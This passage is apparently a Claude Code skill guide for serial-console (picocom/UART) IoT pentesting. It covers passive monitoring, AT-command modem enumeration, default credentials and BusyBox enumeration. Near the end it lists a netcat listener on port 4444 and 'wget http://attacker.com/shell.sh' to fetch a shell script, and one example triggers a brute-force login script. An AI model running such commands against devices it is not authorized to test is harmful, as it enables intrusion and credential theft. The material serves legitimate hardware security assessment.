parsing):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command \"help\" --json","type":"text"}]},{"type":"paragraph","content":[{"text":"Debug Mode:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"python3 .claude/skills/picocom/serial_helper.py --device /dev/ttyUSB0 --command \"help\" --debug","type":"text"}]},{"type":"paragraph","content":[{"text":"Session Logging (for observation):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Terminal 1 - Run with logging\npython3 .claude/skills/picocom/serial_helper.py \\\n --device /dev/ttyUSB0 \\\n --prompt \"User@[^>]+>\" \\\n --logfile /tmp/session.log \\\n --interactive\n\n# Terminal 2 - Watch the session in real-time\ntail -f /tmp/session.log","type":"text"}]},{"type":"paragraph","content":[{"text":"Note:","type":"text","marks":[{"type":"strong"}]},{"text":" See ","type":"text"},{"text":"OBSERVING_SESSIONS.md","type":"text","marks":[{"type":"code_inline"}]},{"text":" for comprehensive guide on monitoring serial sessions.","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Monitor Mode (Passive Listening)","type":"text"}]},{"type":"paragraph","content":[{"text":"NEW FEATURE","type":"text","marks":[{"type":"strong"}]},{"text":": Monitor mode is designed for passive UART monitoring where the device outputs logs without prompts or interaction.","type":"text"}]},{"type":"paragraph","content":[{"text":"Use cases:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Monitoring boot logs from devices without interactive consoles","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Capturing triggered output when external actions are performed","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Testing if network requests or hardware events generate UART logs","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Baseline vs triggered output comparison","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Basic passive monitoring:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"python3 .claude/skills/picocom/serial_helper.py \\\n --device /dev/ttyUSB0 \\\n --monitor \\\n --duration 30 \\\n --logfile /tmp/uart.log","type":"text"}]},{"type":"paragraph","content":[{"text":"Monitor with external trigger script:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Run external script after 5 seconds and capture triggered UART output\npython3 .claude/skills/picocom/serial_helper.py \\\n --device /dev/ttyUSB0 \\\n --monitor \\\n --duration 60 \\\n --trigger-script \"python3 /path/to/test_script.py\" \\\n --trigger-delay 5 \\\n --logfile /tmp/triggered_uart.log","type":"text"}]},{"type":"paragraph","content":[{"text":"Monitor with baseline capture:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Capture 10s baseline, run trigger at 15s, continue for total 60s\npython3 .claude/skills/picocom/serial_helper.py \\\n --device /dev/ttyUSB0 \\\n --monitor \\\n --duration 60 \\\n --trigger-script \"curl http://192.168.1.100/api/reboot\" \\\n --trigger-delay 15 \\\n --baseline-duration 10 \\\n --logfile /tmp/reboot_monitor.log","type":"text"}]},{"type":"paragraph","content":[{"text":"Monitor mode options:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--duration SECONDS","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Total monitoring time (default: 30)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--trigger-script CMD","type":"text","marks":[{"type":"code_inline"}]},{"text":" - External command/script to run during monitoring","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--trigger-delay SECONDS","type":"text","marks":[{"type":"code_inline"}]},{"text":" - When to run trigger (default: 5)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--baseline-duration SECONDS","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Capture baseline before trigger (default: 0)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--logfile FILE","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Log all I/O to file","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--json","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Output results in JSON format","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Output includes:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Real-time timestamped console output","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Baseline vs trigger vs post-trigger categorization","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Trigger script exit code and output","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Summary statistics (bytes captured in each phase)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Timeline with all captured data","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Serial Helper Options","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":""},"content":[{"text":"Required (one of):\n --command, -c CMD Execute single command\n --interactive, -i Enter interactive mode\n --script, -s FILE Execute commands from file\n --monitor, -m Passive monitoring mode (just listen, no commands)\n\nConnection Options:\n --device, -d DEV Serial device (default: /dev/ttyUSB0)\n --baud, -b RATE Baud rate (default: 115200)\n --timeout, -t SECONDS Command timeout (default: 3.0)\n --prompt, -p PATTERN Custom prompt regex pattern\n --at-mode, -a AT command mode for cellular/satellite modems\n\nMonitor Mode Options:\n --duration SECONDS Monitoring duration (default: 30.0)\n --trigger-script CMD External script/command to run during monitoring\n --trigger-delay SECONDS Seconds before running trigger (default: 5.0)\n --baseline-duration SEC Baseline capture duration (default: 0.0)\n\nOutput Options:\n --raw, -r Don't clean output (show echoes, prompts)\n --json, -j Output in JSON format\n --logfile, -l FILE Log all I/O to file (can tail -f in another terminal)\n --debug Show debug information","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Common Prompt Patterns","type":"text"}]},{"type":"paragraph","content":[{"text":"The helper script includes common prompt patterns, but you can specify custom ones:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Uniview camera\n--prompt \"User@[^>]+>\"\n\n# Standard root/user prompts\n--prompt \"[#\\$]\\s*$\"\n\n# U-Boot bootloader\n--prompt \"=>\\s*$\"\n\n# Custom device\n--prompt \"MyDevice>\"","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"AT Command Mode (Cellular/Satellite Modems)","type":"text"}]},{"type":"paragraph","content":[{"text":"IMPORTANT","type":"text","marks":[{"type":"strong"}]},{"text":": When interacting with AT command interfaces (cellular modems, satellite modems, GPS modules), use the ","type":"text"},{"text":"--at-mode","type":"text","marks":[{"type":"code_inline"}]},{"text":" flag. AT interfaces do NOT use shell prompts - they respond with ","type":"text"},{"text":"OK","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"ERROR","type":"text","marks":[{"type":"code_inline"}]},{"text":", or specific result codes.","type":"text"}]},{"type":"paragraph","content":[{"text":"When to use AT mode:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Cellular modems (Quectel, Sierra Wireless, u-blox, SIMCom, Telit)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Satellite modems (Iridium, Globalstar)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"GPS modules with AT interface","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Any device that responds to AT commands with OK/ERROR","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Basic AT command usage:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Single AT command\npython3 .claude/skills/picocom/serial_helper.py \\\n --device /dev/ttyUSB0 \\\n --at-mode \\\n --command \"AT\" \\\n --logfile /tmp/serial_session.log\n\n# Get modem info\npython3 .claude/skills/picocom/serial_helper.py \\\n --device /dev/ttyUSB0 \\\n --at-mode \\\n --command \"ATI\" \\\n --logfile /tmp/serial_session.log\n\n# Get IMEI\npython3 .claude/skills/picocom/serial_helper.py \\\n --device /dev/ttyUSB0 \\\n --at-mode \\\n --command \"AT+CGSN\" \\\n --logfile /tmp/serial_session.log","type":"text"}]},{"type":"paragraph","content":[{"text":"AT mode enumeration example:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"HELPER=\"python3 .claude/skills/picocom/serial_helper.py\"\nDEVICE=\"/dev/ttyUSB0\"\nLOGFILE=\"/tmp/serial_session.log\"\n\n# Basic connectivity test\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT\"\n\n# Device identification\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"ATI\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CGMI\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CGMM\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CGMR\"\n\n# SIM and network info\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CGSN\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CIMI\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CCID\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CSQ\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CREG?\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+COPS?\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Batch AT commands from file:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Create AT command script\ncat > at_enum.txt \u003c\u003c 'EOF'\nAT\nATI\nAT+CGMI\nAT+CGMM\nAT+CGMR\nAT+CGSN\nAT+CSQ\nAT+CREG?\nAT+COPS?\nEOF\n\n# Execute batch\npython3 .claude/skills/picocom/serial_helper.py \\\n --device /dev/ttyUSB0 \\\n --at-mode \\\n --script at_enum.txt \\\n --logfile /tmp/serial_session.log","type":"text"}]},{"type":"paragraph","content":[{"text":"Interactive AT session:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"python3 .claude/skills/picocom/serial_helper.py \\\n --device /dev/ttyUSB0 \\\n --at-mode \\\n --interactive \\\n --logfile /tmp/serial_session.log","type":"text"}]},{"type":"paragraph","content":[{"text":"AT mode response handling:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"OK","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Command succeeded","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ERROR","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Command failed (generic)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"+CME ERROR: \u003ccode>","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Mobile equipment error with code","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"+CMS ERROR: \u003ccode>","type":"text","marks":[{"type":"code_inline"}]},{"text":" - SMS-related error with code","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"NO CARRIER","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Connection lost/failed","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"CONNECT","type":"text","marks":[{"type":"code_inline"}]},{"text":" - Data connection established","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Common AT command categories for pentesting:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Network and connectivity\nAT+CGDCONT? # PDP context (APN settings)\nAT+QIOPEN # Open socket (Quectel)\nAT+QISTATE? # Socket state (Quectel)\n\n# Device management\nAT+CFUN? # Phone functionality\nAT+CPIN? # SIM PIN status\nAT+CLCK # Facility lock (SIM lock status)\n\n# Firmware and updates\nAT+CGMR # Firmware version\nAT+QGMR # Extended firmware info (Quectel)\n\n# Debug/engineering modes (may expose sensitive info)\nAT+QENG # Engineering mode (Quectel)\nAT$QCPWD # Password commands (Qualcomm)","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Device Enumeration Example with Serial Helper","type":"text"}]},{"type":"paragraph","content":[{"text":"Here's a complete example of safely enumerating a device:","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Set variables for convenience\nHELPER=\"python3 .claude/skills/picocom/serial_helper.py\"\nDEVICE=\"/dev/ttyUSB0\"\nPROMPT=\"User@[^>]+>\" # Adjust for your device\nLOGFILE=\"/tmp/serial_session.log\"\n\n# Get available commands\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"help\"\n\n# System information\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"date\"\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"runtime\"\n\n# Network configuration\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"ifconfig\"\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"route\"\n\n# Process listing (may need longer timeout)\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --timeout 5 --command \"ps\"\n\n# File system exploration\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"ls\"\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"ls /etc\"\n\n# Device identifiers\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"getudid\"\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"catmwarestate\"","type":"text"}]},{"type":"paragraph","content":[{"text":"IMPORTANT FOR CLAUDE CODE","type":"text","marks":[{"type":"strong"}]},{"text":": When using this skill, ALWAYS include ","type":"text"},{"text":"--logfile /tmp/serial_session.log","type":"text","marks":[{"type":"code_inline"}]},{"text":" in every command so the user can monitor activity with ","type":"text"},{"text":"tail -f /tmp/serial_session.log","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Pentesting Use Case: Trigger-Based UART Analysis","type":"text"}]},{"type":"paragraph","content":[{"text":"A common IoT pentesting scenario: testing if network requests, API calls, or hardware events trigger debug output on UART.","type":"text"}]},{"type":"paragraph","content":[{"text":"Example: Testing if API requests generate UART logs","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Monitor UART while sending network request\npython3 .claude/skills/picocom/serial_helper.py \\\n --device /dev/ttyUSB0 \\\n --monitor \\\n --duration 30 \\\n --trigger-script \"curl -X POST http://192.168.1.100/api/update\" \\\n --trigger-delay 5 \\\n --logfile /tmp/api_test.log\n\n# Review what the device logged when API was called\ncat /tmp/api_test.log","type":"text"}]},{"type":"paragraph","content":[{"text":"Example: Testing authentication attempts","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Monitor UART during login attempts\npython3 .claude/skills/picocom/serial_helper.py \\\n --device /dev/ttyUSB0 \\\n --monitor \\\n --duration 45 \\\n --trigger-script \"python3 brute_force_login.py\" \\\n --trigger-delay 10 \\\n --baseline-duration 5 \\\n --logfile /tmp/auth_test.log \\\n --json > /tmp/auth_results.json","type":"text"}]},{"type":"paragraph","content":[{"text":"Example: Boot sequence analysis","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Capture device boot logs (reboot via network API)\npython3 .claude/skills/picocom/serial_helper.py \\\n --device /dev/ttyUSB0 \\\n --monitor \\\n --duration 120 \\\n --trigger-script \"curl http://192.168.1.100/api/reboot\" \\\n --trigger-delay 5 \\\n --logfile /tmp/boot_sequence.log","type":"text"}]},{"type":"paragraph","content":[{"text":"Why this is useful for pentesting:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Devices often leak sensitive info (passwords, keys, paths) in UART logs","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Debug output may reveal internal API endpoints or protocols","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Error messages can expose vulnerabilities","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Boot logs show secure boot status, loaded modules, and filesystem paths","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Authentication attempts may log usernames/tokens in cleartext","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"IMPORTANT FOR CLAUDE CODE","type":"text","marks":[{"type":"strong"}]},{"text":": When using this skill, ALWAYS include ","type":"text"},{"text":"--logfile /tmp/serial_session.log","type":"text","marks":[{"type":"code_inline"}]},{"text":" in every command so the user can monitor activity with ","type":"text"},{"text":"tail -f /tmp/serial_session.log","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Alternative: Direct picocom Usage (Advanced)","type":"text"}]},{"type":"paragraph","content":[{"text":"If you need direct picocom access (e.g., for bootloader interaction during boot), you can use picocom directly. However, this is more complex and error-prone.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Instructions","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"1. Connection Setup","type":"text"}]},{"type":"paragraph","content":[{"text":"CRITICAL","type":"text","marks":[{"type":"strong"}]},{"text":": picocom runs interactively and CANNOT be controlled via standard stdin/stdout pipes. Use the following approach:","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Always run picocom in a background shell","type":"text","marks":[{"type":"strong"}]},{"text":" using ","type":"text"},{"text":"run_in_background: true","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Monitor output","type":"text","marks":[{"type":"strong"}]},{"text":" using the BashOutput tool to read responses","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Send commands","type":"text","marks":[{"type":"strong"}]},{"text":" by using ","type":"text"},{"text":"Ctrl-A Ctrl-S","type":"text","marks":[{"type":"code_inline"}]},{"text":" to enter send mode, or by writing to the device file directly","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Default connection command:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"picocom -b 115200 --nolock --omap crlf --echo /dev/ttyUSB0","type":"text"}]},{"type":"paragraph","content":[{"text":"Defaults (unless specified otherwise):","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Baud rate","type":"text","marks":[{"type":"strong"}]},{"text":": 115200 (most common for IoT devices)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Device","type":"text","marks":[{"type":"strong"}]},{"text":": /dev/ttyUSB0 (most common USB-to-serial adapter)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Always use ","type":"text","marks":[{"type":"strong"}]},{"text":"--nolock","type":"text","marks":[{"type":"code_inline"},{"type":"strong"}]},{"text":": Prevents file locking issues unless user specifically requests otherwise","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Alternative baud rates","type":"text","marks":[{"type":"strong"}]},{"text":" (if 115200 doesn't work):","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"57600","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"38400","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"19200","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"9600","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"230400 (less common, high-speed)","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Alternative device paths:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"/dev/ttyUSB0, /dev/ttyUSB1, /dev/ttyUSB2, ... (USB-to-serial adapters)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"/dev/ttyACM0, /dev/ttyACM1, ... (USB CDC devices)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"/dev/ttyS0, /dev/ttyS1, ... (built-in serial ports)","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Essential picocom options:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"-b","type":"text","marks":[{"type":"code_inline"}]},{"text":" or ","type":"text"},{"text":"--baud","type":"text","marks":[{"type":"code_inline"}]},{"text":": Set baud rate (use 115200 by default)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--nolock","type":"text","marks":[{"type":"code_inline"}]},{"text":": Disable file locking (ALWAYS use unless user asks not to)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--omap crlf","type":"text","marks":[{"type":"code_inline"}]},{"text":": Map output CR to CRLF (helps with formatting)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--echo","type":"text","marks":[{"type":"code_inline"}]},{"text":": Enable local echo (see what you type)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--logfile \u003cfile>","type":"text","marks":[{"type":"code_inline"}]},{"text":": Log all session output to a file (recommended)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"-q","type":"text","marks":[{"type":"code_inline"}]},{"text":" or ","type":"text"},{"text":"--quiet","type":"text","marks":[{"type":"code_inline"}]},{"text":": Suppress picocom status messages","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"--imap lfcrlf","type":"text","marks":[{"type":"code_inline"}]},{"text":": Map LF to CRLF on input (sometimes needed)","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"2. Detecting Console State","type":"text"}]},{"type":"paragraph","content":[{"text":"After connecting, you need to identify what state the device is in:","type":"text"}]},{"type":"paragraph","content":[{"text":"a) Blank/Silent Console:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Press Enter several times to check for a prompt","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Try Ctrl-C to interrupt any running processes","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If still nothing, the device may be in bootloader waiting state - try space bar or other bootloader interrupt keys","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"b) Bootloader (U-Boot, etc.):","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Look for prompts like ","type":"text"},{"text":"U-Boot>","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"=>","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"uboot>","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"Boot>","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Bootloaders often have a countdown that can be interrupted","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Common interrupt keys: Space, Enter, specific keys mentioned in boot messages","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"c) Login Prompt:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Look for ","type":"text"},{"text":"login:","type":"text","marks":[{"type":"code_inline"}]},{"text":" or ","type":"text"},{"text":"username:","type":"text","marks":[{"type":"code_inline"}]},{"text":" prompts","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Common default credentials for IoT devices:","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"root / root","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"admin / admin","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"root / (no password)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"admin / password","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Check manufacturer documentation or online databases","type":"text"}]}]}]}]}]},{"type":"paragraph","content":[{"text":"d) Shell Access:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"You may drop directly into a root shell","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Look for prompts like ","type":"text"},{"text":"#","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"$","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":">","type":"text","marks":[{"type":"code_inline"}]},{"text":", or custom prompts","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"2.1. BusyBox Shells (Most IoT Devices)","type":"text"}]},{"type":"paragraph","content":[{"text":"IMPORTANT","type":"text","marks":[{"type":"strong"}]},{"text":": The vast majority of IoT devices use BusyBox, a lightweight suite of Unix utilities designed for embedded systems. BusyBox provides a minimal shell environment with limited command functionality.","type":"text"}]},{"type":"paragraph","content":[{"text":"Identifying BusyBox:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Check what shell you're using\nbusybox\nbusybox --help\n\n# Or check symlinks\nls -la /bin/sh\n# Often shows: /bin/sh -> /bin/busybox\n\n# List available BusyBox applets\nbusybox --list","type":"text"}]},{"type":"paragraph","content":[{"text":"BusyBox Limitations:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Many standard Linux commands may be simplified versions","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Some common flags/options may not be available","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Features like tab completion may be limited or absent","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Some exploitation techniques that work on full Linux may not work","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Common BusyBox commands available:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Core utilities (usually available)\ncat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown\nps, kill, top, free, df, mount, umount\ngrep, find, sed, awk (limited versions)\nifconfig, route, ping, netstat, telnet\nvi (basic text editor - no syntax highlighting)\n\n# Check what's available\nbusybox --list | sort\nls /bin /sbin /usr/bin /usr/sbin","type":"text"}]},{"type":"paragraph","content":[{"text":"BusyBox-specific considerations for pentesting:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"ps","type":"text","marks":[{"type":"code_inline"}]},{"text":" output format may differ from standard Linux","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Some privilege escalation techniques require commands not in BusyBox","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"File permissions still work the same (SUID, sticky bits, etc.)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Networking tools are often present (telnet, wget, nc/netcat, ftpget)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Python/Perl/Ruby are usually NOT available (device storage constraints)","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"Useful BusyBox commands for enumeration:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Check BusyBox version (may have known vulnerabilities)\nbusybox | head -1\n\n# Network utilities often available\nnc -l -p 4444 # Netcat listener\nwget http://attacker.com/shell.sh\nftpget server file\ntelnet 192.168.1.1\n\n# httpd (web server) often included\nbusybox httpd -p 8080 -h /tmp # Quick file sharing","type":"text"}]},{"type":"paragraph","content":[{"text":"Reference 